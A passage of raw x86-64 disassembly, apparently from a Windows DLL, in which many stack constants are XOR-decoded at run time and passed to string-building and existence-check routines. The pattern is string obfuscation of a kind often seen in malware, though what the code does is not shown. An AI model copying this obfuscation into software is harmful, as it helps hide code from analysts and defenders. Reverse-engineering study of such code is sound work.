mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs rax, 0x4dd6a69c2f341984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb250], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb258], rax
movdqa xmm0, xmmword [rbp + 0x780]
pxor xmm0, xmmword [rbp + 0xb250]
movdqa xmmword [rbp + 0x780], xmm0
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x58b0]
call fcn.180004520
nop
lea rdx, [rbp + 0x58b0]
lea rcx, [rbp + 0x6790]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xabd8]
lea rcx, [rbp + 0xac78]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6790]
call fcn.180040870
nop
lea rcx, [rbp + 0x58b0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x115], al
mov byte [rbp + 0x116], al
movabs rax, 0xe3494ffdd3c33285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e0], rax
movabs rax, 0x3b84fed06b336c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14e8], rax
movabs rax, 0x8a0dd044642abe26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14f0], rax
movabs rax, 0xa617ae62910e46cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc480], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc488], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc490], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc498], rax
vmovdqu ymm0, ymmword [rbp + 0xc480]
vpxor ymm1, ymm0, ymmword [rbp + 0x14e0]
vmovdqa ymmword [rbp + 0x14e0], ymm1
lea rdx, [rbp + 0x14e0]
lea rcx, [rbp + 0x5890]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5890]
lea rcx, [rbp + 0x67b0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xac78]
lea rcx, [rbp + 0xa9b8]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x67b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5890]
call fcn.180040870
lea rcx, [rbp + 0xa9b8]
call fcn.1800117f0
test al, al
je 0x18002d9ad
xor eax, eax
mov byte [rbp + 0x117], al
mov byte [rbp + 0x118], al
movabs rax, 0xff4d4dfcd2fd3289
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1500], rax
movabs rax, 0x21bae1fe562768bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1508], rax
movabs rax, 0x8d76c746642de225
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1510], rax
movabs rax, 0xa617ae62d90a13ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1518], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc4a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc4a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc4b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc4b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1500]
vmovdqa ymmword [rbp + 0x1500], ymm1
lea rdx, [rbp + 0x1500]
lea rcx, [rbp + 0x5850]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x119], al
mov byte [rbp + 0x11a], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1520], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1528], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1530], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1538], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc4c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc4c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc4d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc4d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc4c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1520]
vmovdqa ymmword [rbp + 0x1520], ymm1
lea rdx, [rbp + 0x1520]
lea rcx, [rbp + 0x5870]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5850]
lea rcx, [rbp + 0x67f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x5870]
lea rcx, [rbp + 0x67d0]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa9b8]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x67d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x67f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5870]
call fcn.180040870
nop
lea rcx, [rbp + 0x5850]
call fcn.180040870
nop
lea rcx, [rbp + 0xa9b8]
call fcn.180040870
nop
lea rcx, [rbp + 0xac78]
call fcn.180040870
nop
lea rcx, [rbp + 0xabd8]
call fcn.180040870
cmp byte [rbp + 0x27], 0
je 0x18002e0d5
xor eax, eax
mov byte [rbp + 0x11b], al
mov byte [rbp + 0x11c], al
movabs rax, 0xdc3a5dcbeaf9238c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rax, 0x4dd6a69c2f587ab7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb240], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb248], rax
movdqa xmm0, xmmword [rbp + 0x790]
pxor xmm0, xmmword [rbp + 0xb240]
movdqa xmmword [rbp + 0x790], xmm0
lea rdx, [rbp + 0x790]
lea rcx, [rbp + 0x57d0]
call fcn.180004520
nop
lea rdx, [rbp + 0x57d0]
lea rcx, [rbp + 0x6810]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x5830]
call fcn.180004520
nop
lea rdx, [rbp + 0x5830]
lea rcx, [rbp + 0xac18]
call fcn.180007160
nop
lea rcx, [rbp + 0x5830]
call fcn.180040870
nop
lea rcx, [rbp + 0x6810]
call fcn.180040870
nop
lea rcx, [rbp + 0x57d0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x11d], al
mov byte [rbp + 0x11e], al
movabs rax, 0xe5494ff8cf8e3685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1540], rax
movabs rax, 0x7087c8c67a2f18bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1548], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1550], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1558], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc4e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc4e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc4f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc4f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc4e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1540]
vmovdqa ymmword [rbp + 0x1540], ymm1
lea rdx, [rbp + 0x1540]
lea rcx, [rbp + 0x57b0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x57b0]
lea rcx, [rbp + 0x6830]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xac18]
lea rcx, [rbp + 0xabf8]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6830]
call fcn.180040870
nop
lea rcx, [rbp + 0x57b0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x11f], al
mov byte [rbp + 0x120], al
movabs rax, 0xe3494ffdd3c33285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2220], rax
movabs rax, 0x279094c46b336c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2228], rax
movabs rax, 0x816ac7452045be1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2230], rax
movabs rax, 0xd05d9d3b940646f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2238], rax
movabs rax, 0x419676896c6bff72
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2240], rax
movabs rax, 0x6517005aab9e010e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2248], rax
movabs rax, 0xe9ddb386a689e068
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2250], rax
movabs rbx, 0x284ee4f6edcbf52c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2258], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd280], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd288], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd290], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd298], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd2a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd2a8], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd2b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xd2b8], rax
vmovdqu ymm0, ymmword [rbp + 0xd280]
vpxor ymm1, ymm0, ymmword [rbp + 0x2220]
vmovdqa ymmword [rbp + 0x2220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2240]
vpxor ymm1, ymm0, ymmword [rbp + 0xd2a0]
vmovdqa ymmword [rbp + 0x2240], ymm1
lea rdx, [rbp + 0x2220]
lea rcx, [rbp + 0x5810]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x5810]
lea rcx, [rbp + 0x6850]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xabf8]
lea rcx, [rbp + 0xa918]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6850]
call fcn.180040870
nop
lea rcx, [rbp + 0x5810]
call fcn.180040870
lea rcx, [rbp + 0xa918]
call fcn.1800117f0
test al, al
je 0x18002e0af
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x121], al
mov byte [rbp + 0x122], al
movabs rax, 0xe63275fb8afd3289
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24a0], rax
movabs rax, 0x2798f1cd752c73bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24a8], rax
movabs rax, 0x9c75e143642abf25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24b0], rax
movabs rax, 0xdc2ec3018e5b23fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24b8], rax
movabs rax, 0xbe176a43108ff73
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24c0], rax
movabs rax, 0x6e523e4cbeed7508
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24c8], rax
movabs rax, 0xe9ddb3bbee84e069
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24d0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x24d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd2c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd2c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd2d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd2d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd2e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd2e8], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd2f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xd2f8], rax
vmovdqu ymm0, ymmword [rbp + 0xd2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x24a0]
vmovdqa ymmword [rbp + 0x24a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x24c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xd2e0]
vmovdqa ymmword [rbp + 0x24c0], ymm1
lea rdx, [rbp + 0x24a0]
lea rcx, [rbp + 0x3730]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x123], al
mov byte [rbp + 0x124], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1560], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1568], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1570], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1578], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc500], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc508], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc510], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc518], rax
vmovdqu ymm0, ymmword [rbp + 0xc500]
vpxor ymm1, ymm0, ymmword [rbp + 0x1560]
vmovdqa ymmword [rbp + 0x1560], ymm1
lea rdx, [rbp + 0x1560]
lea rcx, [rbp + 0x57f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3730]
lea rcx, [rbp + 0x6890]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x57f0]
lea rcx, [rbp + 0x6870]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa918]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6870]
call fcn.180040870
nop
lea rcx, [rbp + 0x6890]
call fcn.180040870
nop
lea rcx, [rbp + 0x57f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3730]
call fcn.180040870
nop
lea rcx, [rbp + 0xa918]
call fcn.180040870
nop
lea rcx, [rbp + 0xabf8]
call fcn.180040870
nop
lea rcx, [rbp + 0xac18]
call fcn.180040870
cmp byte [rbp + 0x28], 0
je 0x18002fbe7
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x125], al
mov byte [rbp + 0x126], al
movabs rax, 0xdc3a5dcbeaf9238c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x4dd6a69c2f587ab7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb230], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb238], rax
movdqa xmm0, xmmword [rbp + 0x7a0]
pxor xmm0, xmmword [rbp + 0xb230]
movdqa xmmword [rbp + 0x7a0], xmm0
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x3770]
call fcn.180004520
nop
lea rdx, [rbp + 0x3770]
lea rcx, [rbp + 0x68b0]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x3750]
call fcn.180004520
nop
lea rdx, [rbp + 0x3750]
lea rcx, [rbp + 0xa380]
call fcn.180007160
nop
lea rcx, [rbp + 0x3750]
call fcn.180040870
nop
lea rcx, [rbp + 0x68b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3770]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x127], al
mov byte [rbp + 0x128], al
movabs rbx, 0xe5494ff8cf8e3685
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2a20], rax
movabs rax, 0x2e84c8c67a2f18bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a28], rax
movabs rax, 0x9554c47d6445be1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a30], rax
movabs rax, 0xd722d7018c5b33f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a38], rax
movabs rax, 0x3baf30ed746bff72
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2a48], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb680], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb688], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb690], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb698], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb6a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb6a8], rax
vmovdqu ymm0, ymmword [rbp + 0xb680]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a20]
vmovdqa ymmword [rbp + 0x2a20], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2a40]
vpxor xmm2, xmm2, xmmword [rbp + 0xb6a0]
vmovdqa xmmword [rbp + 0x2a40], xmm2
lea rdx, [rbp + 0x2a20]
lea rcx, [rbp + 0x3790]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3790]
lea rcx, [rbp + 0x68d0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa380]
lea rcx, [rbp + 0xa878]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x68d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3790]
call fcn.180040870
lea rcx, [rbp + 0xa878]
call fcn.1800117f0
test al, al
je 0x18002e596
call fcn.180004e10
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x129], al
mov byte [rbp + 0x12a], al
movabs rax, 0xe54d4fc0f38e228e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1580], rax
movabs rax, 0x3ce3e5c664546eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1588], rax
movabs rax, 0xfb38a9276445be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1590], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1598], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc520], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc528], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc530], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc538], rax
vmovdqu ymm0, ymmword [rbp + 0xc520]
vpxor ymm1, ymm0, ymmword [rbp + 0x1580]
vmovdqa ymmword [rbp + 0x1580], ymm1
lea rdx, [rbp + 0x1580]
lea rcx, [rbp + 0x37d0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x12b], al
mov byte [rbp + 0x12c], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15a0], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15a8], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x15b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc540], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc548], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc550], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc558], rax
vmovdqu ymm0, ymmword [rbp + 0xc540]
vpxor ymm1, ymm0, ymmword [rbp + 0x15a0]
vmovdqa ymmword [rbp + 0x15a0], ymm1
lea rdx, [rbp + 0x15a0]
lea rcx, [rbp + 0x37b0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x37d0]
lea rcx, [rbp + 0x6910]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x37b0]
lea rcx, [rbp + 0x68f0]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa878]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x68f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6910]
call fcn.180040870
nop
lea rcx, [rbp + 0x37b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x37d0]
call fcn.180040870
movabs rbx, 0xe5494ff8cf8e3685
xor eax, eax
mov byte [rbp + 0x12d], al
mov byte [rbp + 0x12e], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x24e0], rax
movabs rax, 0x2e84c8c67a2f18bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24e8], rax
movabs rax, 0x8201fe7d212adb25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24f0], rax
movabs rax, 0xd341f903977923e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x24f8], rax
movabs rax, 0x4de102b4692a8b75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2500], rax
movabs rax, 0x61172a63e292110e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2508], rax
movabs rax, 0xe9ddb3bbeee1bc52
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2510], rax
movabs rcx, 0x284ee4f6edcbf52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2518], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd300], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd308], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd310], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd318], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd320], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd328], rax
movabs rax, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd330], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd338], rax
vmovdqu ymm0, ymmword [rbp + 0xd300]
vpxor ymm1, ymm0, ymmword [rbp + 0x24e0]
vmovdqa ymmword [rbp + 0x24e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2500]
vpxor ymm1, ymm0, ymmword [rbp + 0xd320]
vmovdqa ymmword [rbp + 0x2500], ymm1
lea rdx, [rbp + 0x24e0]
lea rcx, [rbp + 0x37f0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x37f0]
lea rcx, [rbp + 0x6930]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa380]
lea rcx, [rbp + 0xa898]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6930]
call fcn.180040870
nop
lea rcx, [rbp + 0x37f0]
call fcn.180040870
lea rcx, [rbp + 0xa898]
call fcn.1800117f0
test al, al
je 0x18002e9a8
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x12f], al
mov byte [rbp + 0x130], al
movabs rax, 0xf0454fc38bed2289
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15c0], rax
movabs rax, 0x3880f1fd612b6eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15c8], rax
movabs rax, 0xc669e1422149cf23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x15d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc560], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc568], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc570], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc578], rax
vmovdqu ymm0, ymmword [rbp + 0xc560]
vpxor ymm1, ymm0, ymmword [rbp + 0x15c0]
vmovdqa ymmword [rbp + 0x15c0], ymm1
lea rdx, [rbp + 0x15c0]
lea rcx, [rbp + 0x3830]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x131], al
mov byte [rbp + 0x132], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15e0], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15e8], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x15f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x15f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc580], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc588], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc590], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc598], rax
vmovdqu ymm0, ymmword [rbp + 0xc580]
vpxor ymm1, ymm0, ymmword [rbp + 0x15e0]
vmovdqa ymmword [rbp + 0x15e0], ymm1
lea rdx, [rbp + 0x15e0]
lea rcx, [rbp + 0x3810]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3830]
lea rcx, [rbp + 0x6970]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3810]
lea rcx, [rbp + 0x6950]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa898]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6950]
call fcn.180040870
nop
lea rcx, [rbp + 0x6970]
call fcn.180040870
nop
lea rcx, [rbp + 0x3810]
call fcn.180040870
nop
lea rcx, [rbp + 0x3830]
call fcn.180040870
movabs rbx, 0xe5494ff8cf8e3685
call fcn.180004e10
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x133], al
mov byte [rbp + 0x134], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2a60], rax
movabs rax, 0x2e84c8c67a2f18bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a68], rax
movabs rax, 0xcb76fe7e664ddb14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a70], rax
movabs rax, 0xd35ae606977133f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a78], rax
movabs rax, 0x692578f771ca370
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a80], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2a88], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xba00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xba08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xba10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xba18], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xba20], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xba28], rax
vmovdqu ymm0, ymmword [rbp + 0xba00]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a60]
vmovdqa ymmword [rbp + 0x2a60], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2a80]
vpxor xmm2, xmm2, xmmword [rbp + 0xba20]
vmovdqa xmmword [rbp + 0x2a80], xmm2
lea rdx, [rbp + 0x2a60]
lea rcx, [rbp + 0x3850]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3850]
lea rcx, [rbp + 0x6990]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa380]
lea rcx, [rbp + 0xa8b8]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6990]
call fcn.180040870
nop
lea rcx, [rbp + 0x3850]
call fcn.180040870
lea rcx, [rbp + 0xa8b8]
call fcn.1800117f0
test al, al
je 0x18002ed5b
xor eax, eax
